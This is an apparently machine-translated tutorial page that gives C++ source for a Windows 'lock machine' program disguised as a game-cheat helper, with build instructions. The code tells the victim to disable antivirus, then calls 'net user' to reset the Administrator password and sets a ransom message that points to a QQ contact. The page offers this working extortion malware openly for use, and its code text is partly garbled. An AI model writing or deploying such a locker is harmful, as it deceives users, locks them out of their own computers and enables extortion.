The first thing you need to know is that you can manipulate Windows user accounts in the CMD interface 
 
Use System ("") to communicate directly with CMD in C + +
 
Here is the code, very simple, no longer explained, we look at the function of these two code from the demo!
 
# include <stdlib.h>  # include  <stdio.h>  # include <windows.h>    int main ()  {      int i = 1;      int A;      System ("Title Lock Machine Program"); This is the program title, you can modify        messageboxa (NULL, "Run CF Helper before you turn off anti-virus software!", "Warm Tip", MB_OK);//Popup window. can modify        if (i! = 0)      {              printf ("program is running, do not close program!!\n");          printf ("\t\t" Please select 1 or 2 to turn on and off assist!) \ n ");//These people casually change, can be fooled others            printf (" \ n ");          printf ("1. Turn on the lock machine \ n");          printf ("\ n");          printf ("2. Turn off the lock machine \ n");          Sleep (+);        }        scanf_s ("%d", &a);        Switch (a)      {case      1:printf ("\a");          printf ("Secondary open successfully, the game automatically takes effect after login.") \ n ");          System ("NET user administrator/fullname: Want to know the password to contact qq:xxxxxxxxx");          System ("NET User Administrator 888888");          break;      Case 2:printf ("Secondary open Failed");          break;        }    }
 
We set him up as release version, as shown in
 
 
Then change to XP operational mode
 
 
Then Modify permissions
 
 
Modifying the runtime
 
 
 
After generating the file and then dragging it into the virtual machine and then restarting or logging out after we go in, we will find the following:
 
 
The above is the easy-to-write PC Lock program content, more relevant content please pay attention to topic.alibabacloud.com (www.php.cn)!